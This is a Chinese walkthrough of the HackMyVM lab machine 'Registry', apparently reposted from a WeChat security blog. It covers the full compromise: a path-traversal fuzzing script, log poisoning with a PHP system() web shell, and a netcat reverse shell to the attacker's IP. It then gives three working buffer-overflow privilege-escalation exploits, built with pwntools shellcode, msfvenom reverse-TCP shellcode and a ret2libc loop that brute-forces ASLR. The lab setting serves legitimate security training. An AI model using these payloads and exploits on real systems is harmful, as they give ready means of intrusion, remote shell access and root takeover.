本文目录
信息收集
挺好,自动显示靶机ip了,不用扫网段了,扫端口就行了
-sC是默认的脚本扫描,-sV探测服务版本,包括服务类型(如HTTP服务器、SSH服务器等)和具体的版本号(如Apache 2.4.41、OpenSSH 7.9等)。-p-是扫描所有的端口(1-65535)。
点sign up可以看到又是文件包含
import
requests
# 目标URL,其中FUZZ占位符将被替换
base_url =
"http://192.168.56.107/index.php?page=FUZZ/etc/passwd"
# 初始的../数量
depth =
1
# 尝试../最大数量
max_depth =
10
# 检测成功的响应大小阈值(根据实际情况调整)
success_size_threshold =
1000
while
depth <= max_depth:
# 构造FUZZ部分
fuzz_payload =
"....//"
* depth
# 替换
url = base_url.replace(
"FUZZ"
, fuzz_payload)
# 发送请求
response = requests.get(url)
# 获取响应的大小
response_size = len(response.content)
print(
f"尝试../数量
{depth}
:
{url}
- 响应大小:
{response_size}
"
)
# 判断响应大小是否达到预期的阈值
if
response_size > success_size_threshold:
print(
f"在../数量
{depth}
发现返回页面,响应大小为
{response_size}
"
)
break
depth +=
1
# 如果超过最大数量仍未找到,则输出未找到的信息
if
depth > max_depth:
print(
"没能fuzz出来,增大长度或重新构造payload"
)
运行,找到对应url为
http:
/
/192.168.56.107/index
.php?page=..../
/..../
/..../
//etc
/passwd
尝试包含default.php未发现可用漏洞,那就试一下fuzz包含log文件
Debian/Ubuntu系统日志路径如下
- 访问日志:/var/log/apache2/access.log
- 错误日志:/var/log/apache2/error.log
CentOS/RHEL/Fedora对应
- 访问日志:/var/log/httpd/access_log
- 错误日志:/var/log/httpd/error_log
从刚才端口扫描的结果来看,是Ubuntu和Apache2,包含看一下/var/log/apache2/access.log
路径正确,现在在日志里写一个phpinfo
curl
"http://192.168.56.107/index.php"
-A
"<?php phpinfo(); ?>"
-A是设置ua头为后面参数,这样access.log里就写入了phpinfo,包含log以后就解析执行了
弹个shell
curl "http://192.168.56.107/index.php" -A "
<?php
system($_REQUEST[
'cmd'
]);
?>
"
http:
/
/192.168.56.107/index
.php?page=..../
/..../
/..../
//var
/log/apache
2/access.log&cmd=netcat%
20
-e%
20
/bin/bash%
20192.168
.
56.101
%
205678
这个shell看着好难受,提升一下交互
python3 -c 'import pty;pty.spawn("/bin/bash")'
#
使用Python启动一个更好地与终端交互的shell
ctrl + z
stty -a
#
显示当前终端的所有可用stty选项,包括行数和列数。
stty raw -echo ;fg
#
stty raw设置终端为
"raw"
模式,这意味着输入的字符会直接发送到应用程序,而不是被终端行处理。这允许更复杂的交互,如使用Vi或Nano编辑器。
#
-
echo
关闭回显,也就是键入的命令不会显示在终端上。
export TERM=xterm
#
提供更丰富的终端功能,如颜色显示和光标移动
stty rows 45 cols 151
#
设置终端的行数和列数
这样终端就很舒服了,这里忘了截图了,等视频课喽
提权
cxdxnt用户
本机上开一个http服务,让靶机去下载pspy64,看一下靶机进程
./pspy64
没有找到可以想象,那就看一下所有suid权限的文件(找允许普通用户执行需要超级用户权限的命令的文件)
find / -perm -u+s
2
>
/dev/
null
只有/opt/others/program是自定义的服务,看一下这个
所有者为cxdxnt,对于这些小文件,用base64编码复制粘贴出来还原到本地
用ida打开,看一下伪代码(快捷键F5)
main函数很简单,当输入命令行参数以后,用vuln()处理函数,如果没有提供参数,就输入usage那句话,现在来看一下vuln函数
dest被定义为长度为128字节的字符数组。这意味着它能够安全存储的字符串长度最大为127个字符(加上一个终终止的null字符�),由于strcpy没有检验a1指向的字符串长度,故这里存在一个典型的缓冲区溢出漏洞。
何为缓冲区溢出漏洞
缓冲区溢出漏洞是一种常见的安全漏洞,发生在程序写入的数据超出了为其分配的内存缓冲区的边界时。这种情况通常发生在使用不安全的字符串操作函数(如strcpy、sprintf等)时,这些函数不检查目标缓冲区的大小。当攻击者能够控制或预测超出缓冲区边界的数据时,就可能利用这种漏洞执行任意代码或破坏程序的数据,导致程序崩溃、数据泄露或权限提升。
原理
- 内存布局:在程序运行时,内存被组织成栈(stack)、堆(heap)和其他区段。栈用于存储局部变量、函数参数和返回地址等。堆用于动态分配内存。
- 溢出发生:当程序将数据写入一个固定大小的缓冲区(如栈上的局部字符数组)时,如果写入的数据量超过了缓冲区的容量,多出的数据将溢出到相邻的内存区域。
- 后果:溢出的数据可能覆盖重要的控制信息,例如函数的返回地址、堆的管理结构或其他变量。攻击者通过精心构造输入数据,可以改变程序的控制流程,执行恶意代码
缓冲区溢出的类型
- 栈溢出:这是最常见的类型,发生在栈上,攻击者通过覆盖栈上的控制信息(如返回地址)来控制程序。(本程序类型)
- 堆溢出:发生在堆上,攻击者通过覆盖堆管理结构来执行攻击,可能导致任意代码执行或堆数据的破坏。
- 整数溢出:虽然严格来说不是缓冲区溢出,但整数溢出可以导致缓冲区分配错误(如分配的大小过小),从而间接导致缓冲区溢出。
- 基于字符串的溢出:特别是在处理字符串时,不安全的函数(如strcpy、sprintf)可能导致数据溢出目标缓冲区。
ok,回到program上面
先用pwndbg(二进制分析和漏洞分析工具)生成一个160(大于127就行)字节的字符串,把生成的字符串作为参数传递给programe,这样会触发缓冲区溢出,可以看到在何处崩溃,这里可以看到执行vuln函数时发生了段错误(SIGSEGV)。
当程序崩溃(如本例中的段错误SIGSEGV)时,RSP(栈指针寄存器)指向当前栈帧的顶部,也就是崩溃点。接着用x/gx $rsp命令用于查看栈指针(RSP)当前指向的内容,0x6161616161616172是上面生成那段字符的一部分(十六进制转化字符串为aaaaaaar),说明栈的返回地址已经被这个模式字符串覆盖。
接着找到0x6161616161616172字符串的偏移量,偏移量是在缓冲区溢出中,覆盖或修改返回地址、函数指针所需的输入数据的准确位置。这个偏移量是从输入数据的起始点到达目标点的字节距离。
这里用cyclic -l 0x6161616161616172命令反向查找偏移量,返回结果为136,这就意味着在vuln函数的缓冲区中,从开始到能够控制返回地址的地方,我们需要填充136字节的数据,简单来说就是,在输入数据的第136个字节处开始,我们就可以通过覆盖返回地址来执行任意代码。
rax是一个通用寄存器,经常被用来存放地址,jmp rax指令的作用是跳转到rax寄存器中存储的地址执行代码。我们先将shellcode的地址放入rax,当程序执行栈溢出并改变返回地址以后,接着会跳转到rax寄存器指向的地址并开始执行shellcode,也就是执行我们定义的命令,所以这里用ropper --file programe --jmp rax查找可以用于执行jmp rax指令的地方,这里为0x401014地址。
ok,所有的信息都具备了,现在把下面的脚本保存为pwnit.py并运行
#
!/usr/bin/python3
from pwn import * # 导入pwntools库
offset = 136 # 溢出前填充的字节量
#
初始化shellcode
shellcode = b""
#
生成setresuid(1002, 1002, 1002)的shellcode,用于设置为用户cxdxnt的ID
shellcode += asm(shellcraft.amd64.setresuid(1002, 1002, 1002), arch="amd64")
#
生成弹出shell的shellcode
shellcode += asm(shellcraft.amd64.sh(), arch="amd64")
#
计算并生成填充数据,填充至offset处,保持栈的对齐
junk = b"A" * (offset - len(shellcode))
#
该地址是找到的可用的
'call rax'
指令的地址
callrax = p32(0x401014)
#
构造payload,包括shellcode,junk和callrax gadget的地址
payload = shellcode + junk + callrax
#
运行program,并传入payload作为参数
shell = process(["/opt/others/program", payload])
#
交互模式,允许用户与shell交互
shell.interactive()
ok
gato用户
继续提权,sudo -l,这条命令在前几篇都有解释,老生常谈了,不懂的去看上一篇
MyFirstProgram.exe可以提权,下载下来
来反编译看一下
该程序功能是在特定端口上监听来自客户端的连接请求,并为每个接受的连接启动一个新线程来连接。
该程序同样存在缓冲区溢出漏洞--当接受的数据量过大(58623)就会造成缓冲区溢出。
先运行起来看一下端口,特定端口为42424
还是上面的思路,只不过对于windows程序需要用Wine来调试
winedbg
--gdb
MyFirstProgram
.exe
接着我们用python写一个对该端口(42424)持续发送数据,来触发缓冲区溢出的脚本
#!/usr/bin/
python3
from pwn import remote, cyclic
payload = cyclic(
150
)
shell
= remote(
"127.0.0.1"
,
42424
)
shell
.sendline(payload)
shell
.
close
()
成功触发缓冲区溢出,接着查看eip寄存器的地址,来确定能够成功覆盖EIP的精确输入长度,原理同上。
查看偏移量,为146.
查看JMP ESP地址
先用msf生成shellcode,记得把这里的ip换成kali的ip
msfvenom
-p linux/x86/shell_reverse_tcp LHOST=
192.168.56.101
LPORT=
6666
EXITFUNC=thread EXITFUNC=thread -b
'x00x0a'
-f python -v shellcode -e x86/jmp_call_additive
把shellcode写入下面,倒数第三行的ip为靶机ip,原理同上,都是让溢出后的EIP指向包含攻击者shellcode的栈位置,然后执行shellcode。
#!/usr/bin/
python3
from pwn import remote, p32
offset =
146
junk =
b
"A"
* offset
jmpesp = p32(
0
x080414c3)
shellcode =
b
""
shellcode +=
b
"xfcxbbx51xdfx44xfexebx0cx5ex56x31"
shellcode +=
b
"x1exadx01xc3x85xc0x75xf7xc3xe8xef"
shellcode +=
b
"xffxffxffx60x04xb3x1dxd1xf9x6fx88"
shellcode +=
b
"xd7x74x6exfcxb1x4bxf1x6ex64xe4xcd"
shellcode +=
b
"x5dx16x4dx4bxa7x7ex8ex03x6fx1bx66"
shellcode +=
b
"x56x90xf9x7cxdfx71x4dxe6x8fx20xfe"
shellcode +=
b
"x54x2cx4axe1x56xb3x1ex89x06x9bxed"
shellcode +=
b
"x21xbfxccx3exd3x56x9axa2x41xfax15"
shellcode +=
b
"xc5xd5xf7xe8x86x15x08xf3x86"
payload = junk + jmpesp + shellcode
shell
= remote(
"192.168.56.107"
,
42424
)
shell
.sendline(payload)
shell
.
close
()
然后靶机以用户gato的身份执行MyFirstProgram.exe
sudo -u gato wine /opt/projects/MyFirstProgram.exe
然后kali执行上面的py脚本并监听6666端口,就弹回来了
还得提权
root用户
继续找具有SUID权限的文件
find / -perm -u+s
2
>
/dev/
null
有两个自定义的服务或程序
/opt/others/program和/opt/fixed/new
前者已经用过了,现在来看后者
复制出来
ida64打开
又是缓冲区溢出,继续老一套。
生成150长度的字符并作为参数传递给程序,查看EIP寄存器的值和覆盖时的偏移量为140.
查看一下/opt/fixed/new程序使用的libc的地址
发现这里使用了ASLR(地址空间布局随机化),也就是每次程序启动时都会随机改变库文件的加载地址,这让我们准确定位shellcode变得十分困难,也就说我们不能在栈上执行shellcode。
现在情况是不能在栈上执行shellcode,那么解决办法就是选择调用程序或其加载的库中已经存在的函数去执行shellcode,也就是利用libc库里的函数。
虽然ASLR使得地址随机化,但由于地址空间有限,libc地址还是会重复(0xf7cfe000),这里循环查看new程序的动态库依赖,并用grep过滤出包含地址0xf7cfe000的行,这里看到该地址会重复出现,有了这个地址以后,我们可以多次尝试利用,直到libc加载到这个重复的地址时,就可以成功利用了。
找到libc的基地址以后,就可以算出库中函数的精确地址了,那么下一步就是寻找libc中的函数(system和exit函数)和字符串(/bin/sh)地址。从下图的结果可知,exit函数在libc中的偏移量为0x0003a440,而system函数的偏移量为0x00048150,/bin/sh字符串在libc中的偏移量是0x1bd0f5。
至此,我们确定了如下信息
在new程序的栈帧中,从输入开始到覆盖EIP寄存器所需的字节数为140
libc的基地址为 0xf7cfe000
system函数在内存中的实际地址为libc基地址+偏移量(0x00048150)
exit函数的地址为libc基地址+偏移量(0x0003a440)
/bin/sh字符串地址为libc基地址+偏移量(0x1bd0f5)
接着构造payload--生成140字节的字符串填充缓冲区,在程序执行到溢出点时,用system 函数的准确地址覆盖返回地址,并传入字符串 /bin/sh 地址,让程序执行system("/bin/sh")函数(打开一个 新的shell)。在system程序执行完以后,程序回到exit函数的准确地址,程序正常退出。
然后用while无限循环运行/opt/fixed/new,并在每次运行new时把上面脚本输出的payload传递给new程序,这样就能保证存在某次运行程序时,libc地址为我们设定的地址,就会触发缓冲区溢出漏洞达到提权目的。
ok上脚本,保存为root.py
#!/usr/bin/python3
from
subprocess
import
call
from
struct
import
pack
#缓冲区溢出的偏移量
offset =
140
#将140个"A"字符组成的字节串填充缓冲区
junk =
b"A"
* offset
#libc库的基地址libc_base
libc_base =
0xf7cfe000
#下面三个为偏移地址
system_addr_offset =
0x00048150
exit_addr_offset =
0x0003a440
bin_sh_addr_offset =
0x1bd0f5
#下面三个为准确地址,并将计算出的准确地址用pack转换为小端序
system_addr = pack(
"<L"
, libc_base + system_addr_offset)
exit_addr = pack(
"<L"
, libc_base + exit_addr_offset)
bin_sh_addr = pack(
"<L"
, libc_base + bin_sh_addr_offset)
# 构造payload
payload = junk + system_addr + exit_addr + bin_sh_addr
print(payload)
# 无限循环调用new程序,直到成功为止
while
True
:
ret = call([
"/opt/fixed/new"
, payload])
python3 root.py,成功提权到root,结束
原文始发于微信公众号(麋鹿安全):打靶手记之hackmyvm--Registry(文件包含 缓冲区溢出 原理与利用)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论